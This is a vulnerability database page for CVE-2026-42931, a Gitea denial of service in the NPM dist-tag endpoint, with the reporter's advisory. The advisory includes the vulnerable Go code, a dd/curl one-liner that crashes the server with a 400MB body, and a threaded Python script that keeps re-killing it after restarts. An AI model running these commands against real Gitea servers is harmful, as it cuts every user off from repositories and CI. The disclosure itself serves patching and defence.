CVE-2026-42931

MEDIUMPre-NVD 6.56.5
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 6.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
6.5EG
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS PROB: CVSS: 6.5Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Gitea: Denial of Service via Unbounded io.ReadAll in NPM Package Tag Endpoint

Summary

An unbounded io.ReadAll(ctx.Req.Body) call in the NPM package tag API endpoint allows any authenticated user to crash the Gitea server by sending a single large HTTP request. The request body is read entirely into memory with no size limit, causing an Out-of-Memory (OOM) kill. With concurrent requests, the attack produces a persistent denial of service that survives automatic restarts.

Details

The AddPackageTag function reads the entire HTTP request body into memory using io.ReadAll() with no size validation:

// routers/api/packages/npm/npm.go:332-341
func AddPackageTag(ctx *context.Context) {
    packageName := packageNameFromParams(ctx)

body, err := io.ReadAll(ctx.Req.Body) // NO SIZE LIMIT if err != nil { apiError(ctx, http.StatusInternalServerError, err) return } version := strings.Trim(string(body), "\"") // ... }

This route is registered at routers/api/packages/api.go:433:

r.Group("/-/package/{id}/dist-tags", func() {
    // ...
    r.Group("/{tag}", func() {
        r.Put("", npm.AddPackageTag)    // reqPackageAccess(perm.AccessModeWrite)
        r.Delete("", npm.DeletePackageTag)
    })
})

Why this causes OOM and not just a slow request:

In Go, io.ReadAll() reads into a []byte that grows dynamically. When the incoming data exceeds available memory, the Go runtime attempts to allocate a larger backing array. This allocation fails, triggering an unrecoverable runtime.throw("out of memory") that kills the entire process, not just the goroutine handling the request.

No server-side size limits apply to this endpoint:

Gitea has per-type size limits (e.g., LIMIT_SIZE_NPM) defined in modules/setting/packages.go, but these are only enforced during UploadPackage, not in AddPackageTag. The mustBytes() function defaults all limits to -1 (unlimited) when not explicitly configured:

// modules/setting/packages.go:96-101
func mustBytes(section ConfigSection, key string) int64 {
    const noLimit = "-1"
    value := section.Key(key).MustString(noLimit)  // defaults to "-1"
    if value == noLimit {
        return -1
    }

Even if an admin sets LIMIT_SIZE_NPM, it would not protect this endpoint. AddPackageTag never checks any size limit before calling io.ReadAll().

The Gitea HTTP server has no global request body size limit. The HashedBuffer used for package uploads (which does have a 32MB memory buffer before spilling to disk) is not used for this endpoint. AddPackageTag reads the body directly via io.ReadAll(), bypassing all buffer protections:

// modules/packages/hashed_buffer.go:29-33
const DefaultMemorySize = 32 * 1024 * 1024  // 32MB, which is safe and spills to disk

// but npm.go:336 bypasses this entirely: body, err := io.ReadAll(ctx.Req.Body) // reads everything into RAM, no limit

Access requirements:

if doer.ID == pkgOwner.ID {
      accessMode = perm.AccessModeOwner
  }
body, err := io.ReadAll(ctx.Req.Body)  // line 336; OOM happens here
  // ...
  pv, err := packages_model.GetVersionByNameAndVersion(...)  // line 343, which is never reached

PoC

Tested Environment:

  • Gitea instance (tested on v1.26.2 Docker, confirmed in source up to v1.27.0-dev)

Prerequisites: Set up test environment

# docker-compose.yml
version: "3"
services:
  gitea:
    image: gitea/gitea:latest
    container_name: gitea-dos-test
    environment:
  • GITEA__database__DB_TYPE=sqlite3
  • GITEA__service__DISABLE_REGISTRATION=false
ports:
  • "3000:3000"
deploy: resources: limits: memory: 512M

docker compose up -d

Complete initial setup in browser at http://localhost:3000

Register a user account (e.g., user1 / Password123!)

Step 1: Single request OOM crash

# Send ~80% of container memory to the AddPackageTag endpoint.

The body is read entirely into memory via io.ReadAll().

For 512MB container: count=400 (~400MB) is enough.

For larger containers, scale accordingly (e.g., count=800 for 1GB, count=1600 for 2GB).

The package owner in the URL must match the authenticated user's username.

dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \ -X PUT \ -H "Content-Type: application/json" \ --data-binary @- \ "http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \ --max-time 120

Step 2: Verify server crash

# Check if server responds
curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version

Expected: connection refused (server is dead)

Step 3: Persistent DoS via concurrent requests (survives restart policies)

# Even with restart: always, concurrent attacks re-kill on startup
import threading, requests, itertools

payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024) i = itertools.count(1)

def worker(): s = requests.Session() while True: n = next(i) try: s.put( f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest", data=payload, auth=("user1", "A@12345678"), timeout=120 ) except Exception: pass

for _ in range(20): threading.Thread(target=worker, daemon=True).start()

__import__('signal').pause()

One 400MB upload triggers OOM kill

https://github.com/user-attachments/assets/a7ba4566-56d5-41ba-ad9f-7e23045fa0f6

Crash loop after OOM with Docker restart policy

https://github.com/user-attachments/assets/9211649f-e10c-4b78-a1e5-223ab90d04a7

Observed result on Gitea 1.26.2:

  • Server logs: Received signal 15; terminating.
  • Container status: Exited (0)
  • Server remains down until manual restart
  • With restart: always, server restarts but can be immediately re-killed

Impact

Who is impacted:
  • All Gitea instances with the package registry enabled (enabled by default)
  • Any authenticated user can crash the server (No admin privileges required)
  • With self-registration enabled (default), an unauthenticated attacker can register an account and immediately crash the server
  • All users of the Gitea instance lose access to repositories, CI/CD, issues, and all hosted services

Attack characteristics:

  • Single request is sufficient to crash the server
  • No special payload: raw zeros work (no compression tricks needed)
  • Persistent multiple requests can re-kill the server even after auto-restart
  • Minimal bandwidth: attacker sends ~80% of the server's available memory in a single request to crash it (e.g., ~400MB for a 512MB instance, ~1.6GB for a 2GB instance)

CVSS v3
6.5
EG Score
6.5(low)
EG Risk
34(Track)
EG Risk 34/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity65% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

July 21, 2026

Last Modified

July 21, 2026

Vendor Advisories for CVE-2026-42931(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Go(1)
PackageVulnerable rangeFixed inDependents
code.gitea.io/gitea1.27.0

Data Freshness Timeline

(refreshed 3× in last 7d / 3× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-27 07:55 UTCEG score recompute
  2. 2026-07-23 03:12 UTCEG score recompute
  3. 2026-07-21 21:20 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-42931?
CVE-2026-42931 is a medium vulnerability published on July 21, 2026. Gitea: Denial of Service via Unbounded io.ReadAll in NPM Package Tag Endpoint Summary An unbounded io.ReadAll(ctx.Req.Body) call in the NPM package tag API endpoint allows any authenticated user to crash the Gitea server by sending a single large HTTP request. The request body is read entirely into…
When was CVE-2026-42931 disclosed?
CVE-2026-42931 was first published in the National Vulnerability Database on July 21, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-42931?
CVE-2026-42931 has a CVSS v4.0 base score of 6.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-42931?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-42931, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-42931

Explore →

Is Your Infrastructure Affected by CVE-2026-42931?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.